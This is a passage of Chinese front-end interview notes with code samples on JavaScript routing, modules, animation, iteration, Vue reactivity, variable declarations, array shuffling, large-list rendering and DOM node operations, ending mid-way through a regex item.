  { path: "/about", component: About },
  { path: "/contact", component: Contact }
];

// 监听URL变化
window.addEventListener("hashchange", () => {
  const path = window.location.hash.substring(1);
  const route = routes.find(route => route.path === path);

  if (route) {
    const component = new route.component();
    component.render();
  }
});

// 渲染组件
class Home {
  render() {
    document.getElementById("app").innerHTML = "<h1>Home Page</h1>";
  }
}

class About {
  render() {
    document.getElementById("app").innerHTML = "<h1>About Page</h1>";
  }
}

class Contact {
  render() {
    document.getElementById("app").innerHTML = "<h1>Contact Page</h1>";
  }
}

// 初始加载默认路由
window.location.hash = "/";

21. 模块化:JavaScript模块化通过将代码分割为独立的模块,每个模块具有自己的作用域和接口

// 模块A
export function add(a, b) {
  return a + b;
}

export function multiply(a, b) {
  return a * b;
}

// 模块B
import { add, multiply } from "./moduleA.js";

let sum = add(2, 3);
let product = multiply(4, 5);

22.Canvas:Canvas是HTML5提供的用于绘制图形和动画的API,可以通过JavaScript操作Canvas元素

let canvas = document.getElementById("myCanvas");
let ctx = canvas.getContext("2d");

ctx.fillStyle = "red";
ctx.fillRect(0, 0, canvas.width, canvas.height);

ctx.strokeStyle = "blue";
ctx.lineWidth = 2;
ctx.beginPath();
ctx.arc(100, 100, 50, 0, 2 * Math.PI);
ctx.stroke();

23. ECMAScript:ECMAScript是JavaScript的标准化规范,定义了语法、数据类型、函数等核心特性

// ECMAScript 6示例
let name = "poetry";
let age = 25;

let message = `My name is ${name} and I'm ${age} years old.`;

console.log(message);

这些是原生JavaScript的一些重要特性和示例代码,涵盖了数据类型、运算、对象、函数、继承、闭包、作用域、原型链、事件、正则表达式、JSON、Ajax、DOM、BOM、内存泄漏、跨域、异步装载、模板引擎、前端MVC、路由、模块化、Canvas和ECMAScript。当然,JavaScript还有许多其他特性和用法,这只是其中一部分。

# 57 Js动画与CSS动画区别及相应实现

⚡ 30 秒速记

  • CSS 动画:声明式,浏览器可优化,transform/opacity 能走合成层不占主线程,代码少;但控制能力弱(难以暂停到任意进度、难做复杂的物理效果)
  • JS 动画:命令式,能精确控制每一帧、能响应实时数据、能做弹簧/惯性等复杂效果;但跑在主线程,写不好会掉帧
  • JS 实现要用 requestAnimationFrame,不要用 setInterval(时间不准、后台仍在跑)
  • 选型原则:简单的状态过渡用 CSS,复杂交互式动画用 JS(GSAP、Framer Motion)
  • 新方案:Web Animations API(element.animate())兼具两者优点 —— JS 控制 + 浏览器合成层执行
  • 还有 CSS 滚动驱动动画 animation-timeline: scroll(),不用 JS 就能把动画绑到滚动进度

CSS 动画更适合简单、固定的过渡效果,JavaScript 动画则适合需要精确控制和复杂交互的场景。 CSS 通过过渡或关键帧声明动画,代码较少,浏览器也更容易进行硬件加速,但运行过程中的控制能力有限。JavaScript 可以逐帧计算状态并响应实时数据,通常用 requestAnimationFrame,复杂效果也可以交给 GSAP 或基于 WebGL 的 Pixi.js。我一般优先用 CSS 完成基础位移和渐变,只有动画逻辑或交互控制较复杂时才切到 JavaScript。

在JavaScript中实现动画可以通过以下方式:

  1. 使用setTimeout或setInterval函数结合DOM操作来实现逐帧动画。这种方式需要手动计算和控制每一帧的变化,并且需要注意处理动画的性能问题。
let element = document.getElementById("animate");
let position = 0;

function animate() {
  position += 1;
  element.style.left = position + "px";

  if (position < 200) {
    setTimeout(animate, 10);
  }
}

animate();
  1. 使用requestAnimationFrame函数来实现更高效的动画。requestAnimationFrame会在浏览器每一帧绘制之前调用指定的回调函数,可以更好地利用浏览器的刷新机制。
let element = document.getElementById("animate");
let position = 0;

function animate() {
  position += 1;
  element.style.left = position + "px";

  if (position < 200) {
    requestAnimationFrame(animate);
  }
}

animate();
  1. 使用现代JavaScript动画库,如GSAP(GreenSock Animation Platform),它提供了丰富的动画功能和更高级的控制选项。
let element = document.getElementById("animate");

gsap.to(element, {
  x: 200,
  duration: 1,
  ease: "power2.out"
});
  1. 使用Pixi.js实现动画方式

Pixi.js是一个基于WebGL的2D渲染引擎,它提供了丰富的功能和工具来创建高性能的动画效果。使用Pixi.js可以轻松实现复杂的动画效果,并且可以充分利用硬件加速来提高性能。

以下是使用Pixi.js实现动画的示例代码:

4.1 创建Pixi.js应用程序:

// 创建一个Pixi.js应用程序
const app = new PIXI.Application({
  width: 800,
  height: 600,
  backgroundColor: 0x000000
});

// 将Pixi.js应用程序添加到HTML文档中的某个元素中
document.getElementById("container").appendChild(app.view);

4.2 创建并添加精灵对象:

// 创建一个精灵对象
const sprite = PIXI.Sprite.from("image.png");

// 设置精灵对象的位置和缩放
sprite.x = 100;
sprite.y = 100;
sprite.scale.set(0.5);

// 将精灵对象添加到舞台中
app.stage.addChild(sprite);

4.3 实现动画效果:

// 创建一个Tween动画对象
const tween = PIXI.tweenManager.createTween(sprite);

// 设置动画的起始位置和结束位置
tween.from({ x: 100, y: 100 }).to({ x: 500, y: 300 });

// 设置动画的持续时间和缓动函数
tween.time = 1000;
tween.easing = PIXI.tween.Easing.outCubic;

// 开始动画
tween.start();

通过使用Pixi.js提供的TweenManager和Tween类,我们可以轻松地创建和控制动画效果。可以设置动画对象的起始状态、结束状态、持续时间和缓动函数,然后调用start()方法开始动画。

除了Tween动画,Pixi.js还提供了许多其他功能,如粒子效果、骨骼动画、滤镜效果等,可以根据具体需求选择合适的方式来实现动画效果。

需要注意的是,使用Pixi.js来实现动画需要先引入Pixi.js库,并在HTML文档中创建一个容器元素用于显示Pixi.js应用程序的画布。

<div id="container"></div>

然后通过上述示例代码来创建Pixi.js应用程序,并实现所需的动画效果。

相比之下,CSS动画具有以下优点:

  • 性能优化:浏览器可以对CSS动画进行硬件加速,以提高动画的性能和流畅度。
  • 简单易用:使用CSS关键帧动画可以通过简单的CSS样式声明来定义动画,代码相对简单。
  • 兼容性:CSS动画在现代浏览器中得到很好的支持,并且在某些情况下可以更好地处理动画效果。

然而,CSS动画也有一些限制:

  • 控制能力受限:CSS动画通常只能实现简单的线性或简单的缓动效果,对于复杂的动画效果和交互控制,可能需要使用JavaScript来实现。
  • 兼容性局限:某些老版本的浏览器可能不支持某些CSS动画属性和效果。

因此,根据实际需求和性能考虑,选择合适的动画实现方式是很重要的。在简单的动画效果和性能要求较高时,可以优先考虑使用CSS动画;而在复杂的动画控制和交互需求时,使用JavaScript来实现动画更为灵活。

# 58 JS 数组和对象的遍历方式,以及几种方式的比较

⚡ 30 秒速记

  • 数组:for(最快,可 break)、for...of(可 break,配 entries() 能拿索引)、forEach(不能 break)、map/filter/reduce(有返回值)、some/every(可短路)
  • 对象:for...in(会遍历原型链上的可枚举属性,要配 hasOwnProperty 过滤)、Object.keys/values/entries(只取自身可枚举属性)、Object.getOwnPropertyNames(含不可枚举)、Reflect.ownKeys(含 Symbol)
  • for...in 遍历数组的问题:会拿到索引字符串、会遍历到自定义属性、顺序不保证 —— 别用它遍历数组
  • 需要中断遍历时:for、for...of、some、every 可以,forEach/map 不行
  • 现代补充:Object.groupBy、Array.prototype.at(-1) 取最后一项

数组遍历常用 for、forEach、for...of 和 map,对象遍历常用 for...in、Object.keys 或 Object.entries。 for 能操作索引但写法稍繁琐,forEach 更简洁却不能用 break 和 continue,需要转换并生成新数组时才适合 map。for...of 适合数组等可迭代对象,但不能直接取得索引。遍历对象时,我一般优先用 Object.keys 或 Object.entries,因为 for...in 还可能遍历原型链上的属性,不适合直接遍历数组。

数组的遍历方式:

1. for循环:

  • 可以使用普通的for循环来遍历数组元素。
  • 优点:灵活性高,可以根据索引进行操作。
  • 缺点:代码相对繁琐,需要手动管理索引。
const array = [1, 2, 3];
for (let i = 0; i < array.length; i++) {
  console.log(array[i]);
}

2. forEach方法:

  • 使用数组的forEach方法进行遍历。
  • 优点:简洁、易读,无需手动管理索引。
  • 缺点:无法使用break和continue跳出循环。
const array = [1, 2, 3];
array.forEach((element) => {
  console.log(element);
});

3. for...of循环:

  • 使用for...of循环来遍历数组。
  • 优点:语法简洁,无需手动管理索引,可以遍历任何可迭代对象。
  • 缺点:无法获取当前元素的索引。
const array = [1, 2, 3];
for (const element of array) {
  console.log(element);
}

4. map方法:

  • 使用数组的map方法进行遍历并返回新数组。
  • 优点:可以同时遍历和转换数组的元素,返回一个新数组。
  • 缺点:不适合仅需要遍历而不需要返回新数组的情况。
const array = [1, 2, 3];
const mappedArray = array.map((element) => element * 2);
console.log(mappedArray);

对象的遍历方式:

1. for...in循环:

  • for...in循环是用于遍历对象属性的,但也可用于遍历数组。
  • 优点:可以遍历数组的索引或属性。
  • 缺点:会遍历数组的原型链,不稳定且性能较差,不推荐在数组上使用。
const obj = { a: 1, b: 2, c: 3 };
for (const key in obj) {
  console.log(key, obj[key]);
}

2. Object.keys方法结合forEach方法:

const obj = { a: 1, b: 2, c: 3 };
Object.keys(obj).forEach((key) => {
  console.log(key, obj[key]);
});

3. Object.entries方法结合forEach方法:

const obj = { a: 1, b: 2, c: 3 };
Object.entries(obj).forEach(([key, value]) => {
  console.log(key, value);
});

比较总结:

  • for循环是最基本的遍历方式,适用于所有情况,但代码较为繁琐。
  • forEach方法是数组专用的遍历方法,代码简洁,但无法使用break和continue跳出循环。
  • for...of循环适用于遍历可迭代对象,如数组、字符串等,语法简单,但无法获取索引。
  • map方法适用于对数组进行映射转换,返回新数组。
  • for...in循环适用于遍历对象的属性,但会遍历原型链上的属性。
  • Object.keys方法结合forEach方法适用于遍历对象的属性,不遍历原型链。
  • Object.entries方法结合forEach方法适用于遍历对象的键值对。

根据不同的需求和数据结构,选择合适的遍历方式可以提高代码的可读性和性能。使用基本的for循环可以处理各种情况,forEach和map方法提供了简洁的数组遍历方式,for...of循环适用于遍历可迭代对象,for...in循环和Object.keys/Object.entries结合forEach方法适用于遍历对象的属性和键值对。

# 59 gulp是什么

⚡ 30 秒速记

  • 基于流(stream)的前端构建工具,用"任务 + 管道"的方式串联处理:src → pipe(压缩) → pipe(加前缀) → dest
  • 和 Grunt 的区别:Gulp 用内存流不产生中间文件,比 Grunt 的临时文件方式快
  • 和 Webpack 的区别:Gulp 是任务流工具(做什么就做什么),Webpack 是模块打包器(构建依赖图)—— 定位不同不是替代关系
  • 现状:Gulp 基本退出前端主流,现代项目用 Vite/Webpack/Rspack;Gulp 偶尔还在做纯静态资源的批处理
  • 面试遇到这题,说清"它属于哪个时代、解决什么问题、被什么取代"即可

Gulp 是基于 Node.js 流的前端自动化构建工具,用来把资源处理和重复任务串成可执行的流水线。 它强调代码优于配置,通常从 gulp.src 读取文件,经多个 pipe 完成压缩等处理,再由 gulp.dest 输出结果。因为数据通过流传递,可以减少频繁的 IO 操作,API 也比较少。比如压缩 CSS 时,可以定义一个任务,并用 gulp.series 把它纳入默认执行流程。

gulp`是前端开发过程中一种基于流的代码构建工具,是自动化项目的构建利器;它不仅能对网站资源进行优化,而且在开发过程中很多重复的任务能够使用正确的工具自动完成

  • Gulp的核心概念:流,简单来说就是建立在面向对象基础上的一种抽象的处理数据的工具。在流中,定义了一些处理数据的基本操作,如读取数据,写入数据等,程序员是对流进行所有操作的,而不用关心流的另一头数据的真正流向
  • gulp正是通过流和代码优于配置的策略来尽量简化任务编写的工作
  • Gulp的特点:
    • 易于使用:通过代码优于配置的策略,gulp 让简单的任务简单,复杂的任务可管理
    • 构建快速 利用 Node.js 流的威力,你可以快速构建项目并减少频繁的 IO 操作
    • 易于学习 通过最少的 API,掌握 gulp 毫不费力,构建工作尽在掌握:如同一系列流管道
const gulp = require('gulp');
const cleanCSS = require('gulp-clean-css');

// 压缩CSS任务
gulp.task('minify-css', () => {
  return gulp.src('src/css/*.css')
    .pipe(cleanCSS())
    .pipe(gulp.dest('dist/css'));
});

// 默认任务
gulp.task('default', gulp.series('minify-css'));

上述示例定义了一个名为minify-css的任务,用于压缩CSS文件。通过使用gulp.src选择要处理的文件,然后通过cleanCSS插件进行压缩操作,最后将压缩后的文件保存到dist/css目录下。通过gulp.task定义任务,最后通过gulp.series定义默认任务,将minify-css任务作为默认任务执行。

总结:Gulp的特点在于其简单的API和基于流的处理方式。通过使用Gulp,开发者可以轻松地定义和执行各种任务,提高开发效率。它的易用性、快速构建和易学性使得Gulp成为前端开发中常用的自动化构建工具之一

# 60 说一下Vue的双向绑定数据的原理

⚡ 30 秒速记

  • Vue 2:Object.defineProperty 劫持每个属性的 getter/setter + 发布订阅(Dep 收集依赖、Watcher 触发更新)
  • Vue 2 的三个缺陷:无法检测新增/删除属性(要用 $set/$delete)、数组要重写七个变异方法、需要递归遍历所有属性性能开销大
  • Vue 3:改用 Proxy 代理整个对象 —— 能拦截属性新增删除、支持数组索引和 length、懒代理(访问到才递归),彻底解决上述问题
  • 配合 Reflect 保证 this 指向正确
  • v-model 的本质:value 绑定 + input 事件监听的语法糖,所以"双向绑定"其实是单向数据流 + 事件回写
  • 对比 React:React 不做双向绑定,一律受控组件手动 setState —— 数据流更可预测

Vue 的双向绑定本质上是数据劫持配合发布者—订阅者模式,让数据变化能够自动通知视图更新。 它通过 Object.defineProperty() 给属性设置 getter 和 setter,读取时触发 getter,赋新值时触发 setter。在 setter 中会通知依赖该属性的订阅者,再执行对应的视图更新。简单来说,数据变化负责发布消息,视图等依赖负责订阅并响应,因此两边能够保持同步。

vue.js 则是采用数据劫持结合发布者-订阅者模式的方式,通过Object.defineProperty()来劫持各个属性的setter,getter,在数据变动时发布消息给订阅者,触发相应的监听回调

Vue的双向绑定数据的原理是基于数据劫持和发布者-订阅者模式的组合。

具体步骤如下:

  1. Vue通过Object.defineProperty()方法对数据对象进行劫持。
  2. 在劫持过程中,为每个属性添加了getter和setter。
  3. 当访问属性时,会触发getter函数,而当属性值发生变化时,会触发setter函数。
  4. 在setter函数中,Vue会通知相关的订阅者,即依赖于该属性的视图或其他数据。
  5. 订阅者收到通知后,会执行相应的更新操作,将新的数据反映到视图上。

这样,当数据发生变化时,Vue能够自动更新相关的视图,实现了双向绑定的效果。

这种原理结合了数据劫持和发布者-订阅者模式的特点,实现了数据与视图之间的自动同步。通过数据劫持,Vue能够捕获数据的变化,而发布者-订阅者模式则确保了数据变化时的及时通知和更新。

示例代码:

// 定义一个数据对象
const data = {
  message: 'Hello Vue!',
};

// 通过Object.defineProperty()劫持数据对象
Object.defineProperty(data, 'message', {
  get() {
    console.log('访问数据');
    return this._message;
  },
  set(newValue) {
    console.log('更新数据');
    this._message = newValue;
    // 通知订阅者,执行更新操作
    notifySubscribers();
  },
});

// 定义一个订阅者列表
const subscribers = [];

// 订阅者订阅数据
function subscribe(callback) {
  subscribers.push(callback);
}

// 通知订阅者,执行更新操作
function notifySubscribers() {
  subscribers.forEach((callback) => {
    callback();
  });
}

// 订阅者更新视图
function updateView() {
  console.log('视图更新:', data.message);
}

// 订阅数据变化
subscribe(updateView);

// 修改数据,触发更新
data.message = 'Hello VueJS!';

在上述示例中,我们通过Object.defineProperty()对data对象的message属性进行劫持,并在getter和setter中添加了相应的日志和更新操作。订阅者通过subscribe方法订阅数据变化,并在updateView方法中更新视图。当我们修改data.message的值时,会触发setter函数,从而通知订阅者执行更新操作,最终更新了视图。

通过这种方式,Vue实现了双向绑定的效果,使得数据的变化能够自动反映到视图上。

# 61 let var const区别

⚡ 30 秒速记

  • 与第 49 题同考点,多了 const
  • var:函数作用域、会提升并初始化为 undefined、可重复声明、顶层会挂 window
  • let:块级作用域、有 TDZ、不可重复声明、不挂 window
  • const:和 let 一样,但必须初始化且不能重新赋值
  • 重点澄清:const 保证的是绑定不变,不是值不变 —— const 声明的对象内部属性照样能改,要真正冻结用 Object.freeze(且只冻一层)
  • 实践:默认 const,需要重新赋值才 let,永远不用 var

var 是函数级作用域并存在变量提升,let 和 const 是块级作用域且存在暂存死区,而 const 还要求声明后不能重新赋值。 var 在代码执行前会先处理声明,所以同一函数内的代码块不能隔离它;let 则只在所在代码块中有效。const 创建的是只读引用,基本类型不能改值,但对象或数组内部的属性、元素仍然可以修改。我一般在值无需重新赋值时用 const,需要变化时再用 let。

let

  • 允许你声明一个作用域被限制在块级中的变量、语句或者表达式
  • let绑定不受变量提升的约束,这意味着let声明不会被提升到当前
  • 该变量处于从块开始到初始化处理的“暂存死区”

var

  • 声明变量的作用域限制在其声明位置的上下文中,而非声明变量总是全局的
  • 由于变量声明(以及其他声明)总是在任意代码执行之前处理的,所以在代码中的任意位置声明变量总是等效于在代码开头声明

const

  • 声明创建一个值的只读引用 (即指针)
  • 基本数据当值发生改变时,那么其对应的指针也将发生改变,故造成 const申明基本数据类型时
  • 再将其值改变时,将会造成报错, 例如 const a = 3 ; a = 5时 将会报错
  • 但是如果是复合类型时,如果只改变复合类型的其中某个Value项时, 将还是正常使用

示例代码:

let:

function example() {
  let x = 10;
  if (true) {
    let x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 10
}

example();

var:

function example() {
  var x = 10;
  if (true) {
    var x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 20
}

example();

const:

function example() {
  const x = 10;
  if (true) {
    const x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 10
}

example();

在上述示例中,使用let关键字声明的变量x具有块级作用域,它的作用范围仅限于if语句块内部。而使用var关键字声明的变量x则具有函数级作用域,它的作用范围在整个函数内部都可见。

对于const关键字声明的变量x,它创建了一个只读的引用,也就是说它的值不能被修改。在示例中,const x = 10声明了一个常量x,而在if语句块内部再次使用const x = 20声明了一个新的常量x,它的作用范围也仅限于if语句块内部。

总结:

  • let关键字声明的变量具有块级作用域,不会被提升,存在暂存死区。
  • var关键字声明的变量具有函数级作用域,会被提升到当前作用域的顶部。
  • const关键字声明的变量创建一个只读的引用,其值不可修改,但对于复合类型的变量,可以修改其属性或元素的值。

# 62 快速的让一个数组乱序

⚡ 30 秒速记

  • 正确做法是 Fisher-Yates 洗牌:从后往前遍历,每次和 [0, i] 中随机一个位置交换,时间 O(n),分布均匀
  • 代码:for (let i = arr.length - 1; i > 0; i--) { const j = Math.floor(Math.random() * (i + 1)); [arr[i], arr[j]] = [arr[j], arr[i]] }
  • 常见错误写法:arr.sort(() => Math.random() - 0.5) —— 分布严重不均匀,且不同引擎的排序算法会导致结果差异,面试写这个是减分项
  • 为什么不均匀:sort 的比较函数必须是稳定一致的,随机返回违反了这个契约,V8 的 TimSort 在不同长度下表现完全不同
  • 需要密码学级随机时用 crypto.getRandomValues 而不是 Math.random

我会优先用 Fisher-Yates 洗牌:从数组末尾向前遍历,每次与 [0, i] 范围内的随机元素交换。 它只需遍历一次,时间复杂度为 O(n),得到的排列也更均匀。arr.sort(() => Math.random() - 0.5) 虽然写法短,但随机比较破坏了排序函数的稳定规则,结果还会受排序实现影响。若项目已使用 lodash,也可以直接调用 shuffle;需要密码学级随机性时,应改用 crypto.getRandomValues。

方法1:使用数组的sort方法结合随机数

var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
arr.sort(function() {
  return Math.random() - 0.5;
});
console.log(arr);

方法2:使用Fisher-Yates算法

function shuffleArray(array) {
  var currentIndex = array.length, temporaryValue, randomIndex;

  while (currentIndex !== 0) {
    randomIndex = Math.floor(Math.random() * currentIndex);
    currentIndex -= 1;

    temporaryValue = array[currentIndex];
    array[currentIndex] = array[randomIndex];
    array[randomIndex] = temporaryValue;
  }

  return array;
}

var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
console.log(shuffleArray(arr));

方法3:使用lodash库的shuffle方法

import shuffle from 'lodash/shuffle'
var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
console.log(shuffle(arr));

对比总结:

  • 方法1使用数组的sort方法结合随机数,是一种简单快速的方式,但并不是真正意义上的乱序,因为它是通过排序来实现的。
  • 方法2使用Fisher-Yates算法,通过交换数组中的元素来实现乱序,是一种更可靠的乱序方式。
  • 方法3使用lodash库的shuffle方法,提供了一个方便的工具函数来实现数组的乱序,不需要自己编写乱序算法。

总体而言,如果只是需要简单的乱序,方法一已经足够。但如果对于乱序的质量和随机性有较高的要求,可以使用方法二的Fisher-Yates算法或者借助第三方库来实现。

# 63 如何渲染几万条数据并不卡住界面

⚡ 30 秒速记

  • 虚拟列表(首选):只渲染可视区 + 缓冲区的若干条,滚动时复用 DOM。定高好做,不定高要动态测量并缓存高度
  • 分片渲染:用 requestAnimationFrame 或 requestIdleCallback 每帧渲染一小批,避免长任务堵塞主线程
  • 文档片段 DocumentFragment:批量插入只触发一次重排
  • 分页 / 无限滚动:从产品层面减少一次性数据量
  • 时间切片:把大数组的处理拆成小块(React 的 Fiber 就是这个思路)
  • 大计算搬进 Web Worker,主线程只管渲染
  • 加分点:能说出关键指标 —— 长任务超过 50ms 就会影响 INP

我一般首选虚拟列表,只渲染可视区及少量缓冲数据,避免把几万个节点同时塞进 DOM。 固定高度的列表可以直接按滚动距离计算索引,不定高列表则需要测量并缓存元素高度。若业务确实要逐步展示全部数据,可以用 requestAnimationFrame 分批渲染,并通过 DocumentFragment 合并每批插入。数据计算很重时可放进 Web Worker,分页或无限滚动也能从数据量上减轻压力。

方式1:使用requestAnimationFrame

这道题考察了如何在不卡住页面的情况下渲染数据,也就是说不能一次性将几万条都渲染出来,而应该一次渲染部分 DOM,那么就可以通过 requestAnimationFrame 来每 16 ms 刷新一次

在渲染大量数据时,避免一次性将所有数据都渲染出来可以提高性能,以保持界面的流畅性。以下是一个示例代码,演示如何使用requestAnimationFrame来分批渲染大量数据,避免卡住界面:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
</head>
<body>
  <ul>控件</ul>
  <script>
    setTimeout(() => {
      // 插入十万条数据
      const total = 100000
      // 一次插入 20 条,可以根据实际性能调整
      const once = 20
      // 渲染数据总共需要几次
      const loopCount = total / once
      let countOfRender = 0
      let ul = document.querySelector("ul");

      function add() {
        // 优化性能,使用文档片段插入,减少回流
        const fragment = document.createDocumentFragment();
        for (let i = 0; i < once; i++) {
          const li = document.createElement("li");
          li.innerText = Math.floor(Math.random() * total);
          fragment.appendChild(li);
        }
        ul.appendChild(fragment);
        countOfRender += 1;
        loop();
      }

      function loop() {
        if (countOfRender < loopCount) {
          // 使用requestAnimationFrame在每一帧中执行渲染
          window.requestAnimationFrame(add);
        }
      }

      loop();
    }, 0);
  </script>
</body>
</html>

上述代码会将十万条数据分批插入到ul列表中,每次插入20条数据,并通过requestAnimationFrame在每一帧中执行渲染,保证不卡住界面。这样用户可以逐步看到数据的渲染过程,而不是等待所有数据都渲染完毕后才显示。这种方式可以提高用户体验并避免界面卡顿。

方式2:使用虚拟滚动

使用虚拟滚动(Virtual Scrolling)可以在渲染大量数据时提高性能,只渲染可见区域的数据,而不是将所有数据都插入到DOM中。这样可以减少DOM操作和内存占用,从而提升性能和响应速度。以下是使用虚拟滚动完成这道题的示例代码:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
  <style>
    .container {
      height: 400px;
      overflow: auto;
    }
    .item {
      height: 30px;
      line-height: 30px;
      border-bottom: 1px solid #ccc;
    }
  </style>
</head>
<body>
  <div class="container">
    <div class="content"></div>
  </div>
  <script>
    setTimeout(() => {
      // 插入十万条数据
      const total = 100000;
      // 可见区域的高度
      const visibleHeight = 400;
      // 单个元素的高度
      const itemHeight = 30;
      // 计算可见区域能容纳的元素数量
      const visibleItemCount = Math.ceil(visibleHeight / itemHeight);
      // 当前滚动位置对应的元素索引
      let startIndex = 0;
      let endIndex = visibleItemCount;
      let container = document.querySelector(".container");
      let content = document.querySelector(".content");

      function renderItems() {
        content.innerHTML = "";
        for (let i = startIndex; i < endIndex; i++) {
          const item = document.createElement("div");
          item.className = "item";
          item.innerText = Math.floor(Math.random() * total);
          content.appendChild(item);
        }
      }

      function handleScroll() {
        // 计算当前滚动位置对应的元素索引
        startIndex = Math.floor(container.scrollTop / itemHeight);
        endIndex = startIndex + visibleItemCount;
        renderItems();
      }

      // 监听滚动事件
      container.addEventListener("scroll", handleScroll);

      // 初始渲染可见区域的元素
      renderItems();
    }, 0);
  </script>
</body>
</html>

在上述代码中,通过设置一个具有固定高度的容器,使用overflow: auto来实现滚动。通过计算可见区域的高度和单个元素的高度,确定可见区域能容纳的元素数量。然后根据滚动位置计算出当前可见区域的元素索引范围,只渲染这一部分数据,从而实现虚拟滚动。随着滚动事件的触发,动态更新可见区域的元素。这样在大量数据的情况下,只有可见区域的元素会被渲染,大大提高了性能和响应速度。

# 64 希望获取到页面中所有的checkbox怎么做?

⚡ 30 秒速记

  • document.querySelectorAll('input[type="checkbox"]') —— 返回静态 NodeList
  • 转成数组再处理:[...document.querySelectorAll('input[type=checkbox]')] 或 Array.from(...)
  • 只要选中的:加 :checked 伪类 —— querySelectorAll('input[type=checkbox]:checked')
  • 表单内的可以用 form.elements 按 name 取
  • 注意 querySelectorAll 返回静态集合(不随 DOM 变化),getElementsByTagName 返回动态 HTMLCollection —— 在循环里增删元素时这个差别会咬人

直接使用 document.querySelectorAll('input[type="checkbox"]'),就能获取页面中所有由 input 实现的复选框。 它返回静态 NodeList,需要数组方法时可用 Array.from() 或展开语法转换。只取已选中的元素,可以把选择器改为 input[type="checkbox"]:checked。也可以先用 getElementsByTagName('input') 获取动态集合再按 type 筛选,但循环中增删节点时要留意集合会同步变化。

 var domList = document.getElementsByTagName(‘input’)
 var checkBoxList = [];
 var len = domList.length;  //缓存到局部变量
 while (len--) {  //使用while的效率会比for循环更高
   if (domList[len].type == ‘checkbox’) {
       checkBoxList.push(domList[len]);
   }
 }
  • 这段代码使用document.getElementsByTagName('input')获取到页面中所有的input元素,并通过遍历筛选出type为checkbox的元素,然后将它们存储在checkBoxList数组中
  • 请注意,这段代码假设所有的复选框都是通过<input>元素实现的,如果你的页面中还有其他方式创建的复选框,可能无法正确获取到。另外,建议将domList.length缓存到局部变量中,可以提高代码的性能。

# 65 怎样添加、移除、移动、复制、创建和查找节点

⚡ 30 秒速记

  • 创建:document.createElement / createTextNode / createDocumentFragment / cloneNode(deep)
  • 查找:querySelector(All) 最通用;getElementById 最快;closest 向上找祖先
  • 添加:append/prepend(可传多个节点和字符串)、before/after、insertAdjacentHTML —— 比老的 appendChild/insertBefore 好用
  • 移除:element.remove()(比 parent.removeChild(child) 简洁)
  • 移动:直接 append 一个已存在的节点就是移动,不需要先删
  • 复制:cloneNode(true) 深拷贝,注意不会复制事件监听器
  • 性能提醒:批量操作先用 DocumentFragment 或字符串拼接再一次性插入,避免多次重排

节点操作可以按创建、查找和修改来处理:用 createElement 创建,用 querySelector 查找,再用 append、remove 等方法调整结构。 添加已有节点时,直接 append 到新位置就是移动,不需要先手动删除。复制可用 cloneNode(true) 做深拷贝,但事件监听器不会随节点一起复制。兼容老写法时,也可以使用 appendChild、removeChild、insertBefore 和 replaceChild。

下面是一些用于添加、移除、移动、复制、创建和查找节点的常用方法:

创建新节点

document.createElement(tagName); // 创建一个指定标签名的元素节点
document.createTextNode(text); // 创建一个包含指定文本的文本节点
document.createDocumentFragment(); // 创建一个空的文档片段节点

添加、移除、替换、插入节点

parentNode.appendChild(node); // 在父节点的末尾添加一个子节点
parentNode.removeChild(node); // 从父节点中移除指定的子节点
parentNode.replaceChild(newNode, oldNode); // 用新节点替换指定的旧节点
parentNode.insertBefore(newNode, referenceNode); // 在参考节点之前插入一个新节点

查找节点

document.getElementsByTagName(tagName); // 返回指定标签名的元素节点集合
document.getElementsByName(name); // 返回具有指定名称的元素节点集合
document.getElementById(id); // 返回具有指定 id 的元素节点

注意,以上方法都是基于document对象进行操作的,如果需要在特定的节点上执行这些操作,可以使用相应节点的方法,例如parentNode.appendChild(node)。

示例代码:

// 创建新节点
var newElement = document.createElement('div');
var newText = document.createTextNode('Hello, world!');
var fragment = document.createDocumentFragment();

// 添加节点
document.body.appendChild(newElement);
newElement.appendChild(newText);

// 移除节点
document.body.removeChild(newElement);

// 替换节点
var oldElement = document.getElementById('old');
var newElement = document.createElement('div');
document.body.replaceChild(newElement, oldElement);

// 插入节点
var referenceElement = document.getElementById('reference');
var newNode = document.createElement('p');
document.body.insertBefore(newNode, referenceElement);

// 查找节点
var elementsByTagName = document.getElementsByTagName('div');
var elementsByName = document.getElementsByName('name');
var elementById = document.getElementById('id');

以上代码演示了如何创建新节点、添加节点、移除节点、替换节点、插入节点以及查找节点的方法。请根据实际情况调整代码并操作相应的节点。

# 66 正则表达式

⚡ 30 秒速记

  • 三个核心:字符类(`d\w\s. [])、量词(* + ? {n,m},加 ? 变非贪婪)、边界(^ $ \b`)
  • 分组:() 捕获组、(?😃 非捕获组、(?<name>) 具名组;反向引用 \1
  • 断言:(?=) 正向先行、(?!) 负向先行、(?<=) 正向后行、(?<!) 负向后行 —— 密码强度校验的常用手段
  • 修饰符:g 全局、i 忽略大小写、m 多行、s 让 . 匹配换行、u Unicode、y 粘性
  • 常用 API:test(判断)、match/matchAll(提取)、replace/replaceAll(替换,可传函数)、split
  • 性能陷阱:嵌套量词如 (a+)+ 会导致灾难性回溯,处理用户输入时要小心 ReDoS
  • 实用建议:复杂正则一定要写注释说明意图,半年后自己也看不懂

正则表达式本质上是用字符类、量词和边界描述字符串的匹配规则,可用于校验、提取和替换。 字面量写法更简洁;模式来自变量时要用 RegExp(),并注意字符串中的反斜杠需要再次转义。实际开发常配合 test()、match()、replace() 使用,量词后加 ? 可切换为非贪婪匹配。像 (a+)+ 这样的嵌套量词可能造成灾难性回溯,处理用户输入时要留意 ReDoS 风险。

正则表达式构造函数RegExp()和正则表达字面量的主要区别在于语法和使用方式。

正则表达式构造函数 RegExp()

  • 使用字符串作为参数,需要进行双重转义,即需要使用双反斜杠来表示特殊字符,如\d表示数字,\w表示字母数字下划线等。
